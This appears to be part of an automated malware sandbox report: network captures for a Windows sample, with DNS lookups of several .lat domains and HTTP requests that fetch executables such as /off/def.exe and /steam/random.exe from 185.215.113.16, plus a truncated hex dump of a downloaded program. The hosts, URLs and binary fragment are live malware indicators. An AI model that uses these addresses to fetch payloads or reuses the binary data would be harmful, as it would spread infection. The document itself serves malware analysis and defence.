Dec 23, 2024 07:16:10.020926952 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.020941973 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.020946980 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.020994902 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.021815062 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.021914959 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.021929026 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.021958113 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.022779942 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.022826910 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.022867918 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.022881031 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.022917986 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.023727894 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.023833990 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.023845911 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.023911953 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.024668932 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.024734974 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.024790049 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.024804115 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.024849892 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.025654078 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.025751114 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.025764942 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.025790930 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.026621103 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.026674986 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.026716948 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.026732922 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.026770115 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.027564049 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.071829081 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.071937084 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.071955919 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.071974039 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.072010040 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.072324991 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.072401047 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.072443008 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.072875977 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.072967052 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.072979927 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.073030949 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.073841095 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.073916912 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.073945045 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.073956966 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.073996067 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.074826002 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.074903011 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.074917078 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.074945927 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.075802088 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.075859070 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.075889111 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.075901985 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.075939894 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.076734066 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.076828957 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.076842070 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.076867104 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.077657938 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.077709913 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.140911102 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.140942097 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.140997887 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.141020060 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.141175032 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.141199112 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.141207933 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.141973019 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.142004967 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.142180920 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.142286062 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.142297983 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.142317057 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.143148899 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.143181086 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.143256903 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.143269062 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.143296957 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.144109964 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.144218922 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.144229889 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.144270897 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.145088911 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.145122051 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.145190001 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.145201921 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.145232916 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.146032095 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.146141052 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.146161079 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.146173954 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.147118092 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.147152901 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.199376106 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.199410915 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.199424028 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.199456930 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.199754000 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.199790955 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.199867964 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.199879885 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.199913025 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.200740099 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.200911999 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.200923920 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.200947046 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.201719046 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.201756001 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.201807022 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.201818943 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.201858044 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.202647924 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.202734947 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.202747107 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.202773094 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.203653097 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.203691959 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.203706026 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.203717947 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.203747034 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.205113888 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.205214977 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.205224991 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.205250025 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.205523014 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.205558062 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.205630064 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.205641985 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.205672026 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.206517935 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.206620932 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.206633091 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.206653118 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.207500935 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.207540035 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.207571030 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.207686901 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.207719088 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.208446026 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.208615065 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.208626986 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.208652973 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.209379911 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.209415913 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.209489107 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.209500074 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.209541082 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.210395098 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.210500002 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.210513115 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.210530996 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.211307049 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.211360931 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.211401939 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.211415052 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.211443901 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.212462902 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.212475061 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.212486982 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.212508917 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.217195034 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.552336931 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:12.395988941 CET	49771	80	192.168.2.5	185.215.113.206
Dec 23, 2024 07:16:12.515621901 CET	80	49771	185.215.113.206	192.168.2.5
Dec 23, 2024 07:16:12.515713930 CET	49771	80	192.168.2.5	185.215.113.206
Dec 23, 2024 07:16:12.520580053 CET	49771	80	192.168.2.5	185.215.113.206
Dec 23, 2024 07:16:12.640321016 CET	80	49771	185.215.113.206	192.168.2.5
Dec 23, 2024 07:16:13.845408916 CET	80	49771	185.215.113.206	192.168.2.5
Dec 23, 2024 07:16:13.845488071 CET	49771	80	192.168.2.5	185.215.113.206
Dec 23, 2024 07:16:13.852412939 CET	49771	80	192.168.2.5	185.215.113.206
Dec 23, 2024 07:16:13.971887112 CET	80	49771	185.215.113.206	192.168.2.5
Dec 23, 2024 07:16:14.292038918 CET	80	49771	185.215.113.206	192.168.2.5
Dec 23, 2024 07:16:14.292092085 CET	49771	80	192.168.2.5	185.215.113.206
Dec 23, 2024 07:16:16.025923967 CET	49771	80	192.168.2.5	185.215.113.206

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 23, 2024 07:15:34.453834057 CET	59889	53	192.168.2.5	1.1.1.1
Dec 23, 2024 07:15:34.593086004 CET	53	59889	1.1.1.1	192.168.2.5
Dec 23, 2024 07:15:34.601944923 CET	58412	53	192.168.2.5	1.1.1.1
Dec 23, 2024 07:15:34.740641117 CET	53	58412	1.1.1.1	192.168.2.5
Dec 23, 2024 07:15:34.744854927 CET	50516	53	192.168.2.5	1.1.1.1
Dec 23, 2024 07:15:34.882647038 CET	53	50516	1.1.1.1	192.168.2.5
Dec 23, 2024 07:15:34.886035919 CET	63582	53	192.168.2.5	1.1.1.1
Dec 23, 2024 07:15:35.024801016 CET	53	63582	1.1.1.1	192.168.2.5
Dec 23, 2024 07:15:35.041265965 CET	60398	53	192.168.2.5	1.1.1.1
Dec 23, 2024 07:15:35.181157112 CET	53	60398	1.1.1.1	192.168.2.5
Dec 23, 2024 07:15:35.182905912 CET	59400	53	192.168.2.5	1.1.1.1
Dec 23, 2024 07:15:35.324100018 CET	53	59400	1.1.1.1	192.168.2.5
Dec 23, 2024 07:15:35.362178087 CET	50897	53	192.168.2.5	1.1.1.1
Dec 23, 2024 07:15:35.501235962 CET	53	50897	1.1.1.1	192.168.2.5
Dec 23, 2024 07:15:35.533749104 CET	55976	53	192.168.2.5	1.1.1.1
Dec 23, 2024 07:15:35.672923088 CET	53	55976	1.1.1.1	192.168.2.5
Dec 23, 2024 07:15:35.692197084 CET	52245	53	192.168.2.5	1.1.1.1
Dec 23, 2024 07:15:35.830954075 CET	53	52245	1.1.1.1	192.168.2.5
Dec 23, 2024 07:15:35.834342957 CET	58636	53	192.168.2.5	1.1.1.1
Dec 23, 2024 07:15:35.973020077 CET	53	58636	1.1.1.1	192.168.2.5
Dec 23, 2024 07:15:38.386444092 CET	61723	53	192.168.2.5	1.1.1.1
Dec 23, 2024 07:15:38.528054953 CET	53	61723	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 23, 2024 07:15:34.453834057 CET	192.168.2.5	1.1.1.1	0xcc2	Standard query (0)	sweepyribs.lat	A (IP address)	IN (0x0001)	false
Dec 23, 2024 07:15:34.601944923 CET	192.168.2.5	1.1.1.1	0x3129	Standard query (0)	grannyejh.lat	A (IP address)	IN (0x0001)	false
Dec 23, 2024 07:15:34.744854927 CET	192.168.2.5	1.1.1.1	0x129e	Standard query (0)	discokeyus.lat	A (IP address)	IN (0x0001)	false
Dec 23, 2024 07:15:34.886035919 CET	192.168.2.5	1.1.1.1	0xb850	Standard query (0)	necklacebudi.lat	A (IP address)	IN (0x0001)	false
Dec 23, 2024 07:15:35.041265965 CET	192.168.2.5	1.1.1.1	0xe9c4	Standard query (0)	energyaffai.lat	A (IP address)	IN (0x0001)	false
Dec 23, 2024 07:15:35.182905912 CET	192.168.2.5	1.1.1.1	0xe0c0	Standard query (0)	aspecteirs.lat	A (IP address)	IN (0x0001)	false
Dec 23, 2024 07:15:35.362178087 CET	192.168.2.5	1.1.1.1	0xb383	Standard query (0)	sustainskelet.lat	A (IP address)	IN (0x0001)	false
Dec 23, 2024 07:15:35.533749104 CET	192.168.2.5	1.1.1.1	0xbe4a	Standard query (0)	crosshuaht.lat	A (IP address)	IN (0x0001)	false
Dec 23, 2024 07:15:35.692197084 CET	192.168.2.5	1.1.1.1	0xf865	Standard query (0)	rapeflowwj.lat	A (IP address)	IN (0x0001)	false
Dec 23, 2024 07:15:35.834342957 CET	192.168.2.5	1.1.1.1	0xfd30	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Dec 23, 2024 07:15:38.386444092 CET	192.168.2.5	1.1.1.1	0x5100	Standard query (0)	lev-tolstoi.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 23, 2024 07:15:34.593086004 CET	1.1.1.1	192.168.2.5	0xcc2	Name error (3)	sweepyribs.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 07:15:34.740641117 CET	1.1.1.1	192.168.2.5	0x3129	Name error (3)	grannyejh.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 07:15:34.882647038 CET	1.1.1.1	192.168.2.5	0x129e	Name error (3)	discokeyus.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 07:15:35.024801016 CET	1.1.1.1	192.168.2.5	0xb850	Name error (3)	necklacebudi.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 07:15:35.181157112 CET	1.1.1.1	192.168.2.5	0xe9c4	Name error (3)	energyaffai.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 07:15:35.324100018 CET	1.1.1.1	192.168.2.5	0xe0c0	Name error (3)	aspecteirs.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 07:15:35.501235962 CET	1.1.1.1	192.168.2.5	0xb383	Name error (3)	sustainskelet.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 07:15:35.672923088 CET	1.1.1.1	192.168.2.5	0xbe4a	Name error (3)	crosshuaht.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 07:15:35.830954075 CET	1.1.1.1	192.168.2.5	0xf865	Name error (3)	rapeflowwj.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 23, 2024 07:15:35.973020077 CET	1.1.1.1	192.168.2.5	0xfd30	No error (0)	steamcommunity.com		23.55.153.106	A (IP address)	IN (0x0001)	false
Dec 23, 2024 07:15:38.528054953 CET	1.1.1.1	192.168.2.5	0x5100	No error (0)	lev-tolstoi.com		104.21.66.86	A (IP address)	IN (0x0001)	false
Dec 23, 2024 07:15:38.528054953 CET	1.1.1.1	192.168.2.5	0x5100	No error (0)	lev-tolstoi.com		172.67.157.254	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

steamcommunity.com

lev-tolstoi.com

185.215.113.16

185.215.113.206

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49739	185.215.113.16	80	3552	C:\Users\user\Desktop\20yLTIU4mS.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 07:15:59.123135090 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 23, 2024 07:16:00.465074062 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 06:15:59 GMT Content-Type: application/octet-stream Content-Length: 2845696 Last-Modified: Mon, 23 Dec 2024 06:14:51 GMT Connection: keep-alive ETag: "6768ffdb-2b6c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2b 00 00 04 00 00 df 49 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ +I,`Ui`D @ @ @.rsrcD``@.idata f@tnrxecbv**h@anayjrgy +F+@.taggant@+"J+@
Dec 23, 2024 07:16:00.465121984 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 07:16:00.465135098 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 07:16:00.465372086 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 07:16:00.465432882 CET	896	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 07:16:00.465445995 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 07:16:00.465457916 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 07:16:00.465470076 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: Ls%.%*R%%'%%%%%%%%%%%%%M)/A M)
Dec 23, 2024 07:16:00.466166019 CET	1236	IN	Data Raw: 1d c4 b8 4b f5 e6 de 25 17 27 d1 25 17 e6 b4 25 17 e6 b4 25 17 78 b6 25 17 78 b6 25 17 e9 b4 25 17 fa b4 25 18 04 b7 4d 38 e6 b4 2f 41 28 08 70 59 e7 b4 26 17 e6 b4 25 17 f2 b4 25 17 5c e9 53 47 14 e8 55 4a 17 ee 25 17 e6 b4 2a 17 52 b5 25 17 82 Data Ascii: K%'%%%x%x%%%M8/A(pY&%%\SGUJ%R%%3&%%O#%&%%yN%%z`%^%v%H%%%='+%'J%%%%)%%%%%%%%%%%%%
Dec 23, 2024 07:16:00.466180086 CET	1236	IN	Data Raw: 17 b7 bf a0 18 0a b5 c9 39 e6 b4 25 17 77 b5 37 20 58 b6 4c 17 4a d9 25 17 e6 b4 ab 2f 8d be 2b 17 0d b5 25 37 e6 b4 25 17 e6 b4 26 17 15 ba 25 17 e8 b4 94 21 e8 b4 28 17 09 ba 25 17 e7 b4 62 1c e6 b4 26 17 e0 bd 25 17 e7 b4 60 1b e6 b4 27 17 59 Data Ascii: 9%w7 XLJ%/+%7%&%!(%b&%`'Y%'P%!&A%i(S%7%&r%V!(?%7%&r%(%7%&r%(%*]%a ,$%:!.%0%
Dec 23, 2024 07:16:00.585235119 CET	1236	IN	Data Raw: 5b 45 07 6f 5e 2e 09 79 76 38 fa 76 6c 2f 07 6b 5b e6 07 69 76 33 f6 73 58 2d fa 77 76 29 07 6b 58 3a fa 84 6a 2b 07 7c 60 29 fa 25 6a 29 14 73 58 34 f6 6c 5c 38 14 6b 65 3b 02 6b 69 27 09 6b 76 39 fa 77 6d 2f f8 6a 17 2e f6 77 5b 3d f6 77 5c 36 Data Ascii: [Eo^.yv8vl/k[iv3sX-wv)kX:j+\|`)%j)sX4l\8ke;ki'kv9wm/j.w[=w\6u]/kZ.s^+uX8rZ.s^+x\9of4mX4j9wm/jv4Z.s^+s\:ne*sX(k4yY/j[/gY2%j+\|`)\8uiEkm+k9wm/jv+xf8o^4x\gl9%k5keEzg2hX:%j+\|`)`4
Dec 23, 2024 07:16:05.330478907 CET	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
